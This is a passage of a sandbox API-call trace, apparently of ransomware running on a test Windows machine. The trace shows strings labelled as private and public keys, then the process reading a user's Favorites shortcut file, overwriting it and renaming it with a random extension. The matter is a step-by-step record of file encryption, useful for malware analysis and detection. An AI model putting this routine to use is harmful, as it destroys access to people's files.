Rlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.141] GetCurrentThreadId () returned 0xa30 [0125.141] GetCurrentThreadId () returned 0xa30 [0125.141] GetCurrentThreadId () returned 0xa30 [0125.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.142] GetCurrentThreadId () returned 0xa30 [0125.142] GetCurrentThreadId () returned 0xa30 [0125.142] GetCurrentThreadId () returned 0xa30 [0125.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.142] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.142] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.142] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.143] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.143] ReadFile (in: hFile=0x1ec, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.145] CloseHandle (hObject=0x1ec) returned 1 [0125.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.147] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.150] CloseHandle (hObject=0x1ec) returned 1 [0125.150] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.zv7un")) returned 1 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] GetCurrentThreadId () returned 0xa30 [0125.151] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0125.151] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.151] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.151] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.152] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0125.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", dwFileAttributes=0x80) returned 1 [0125.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK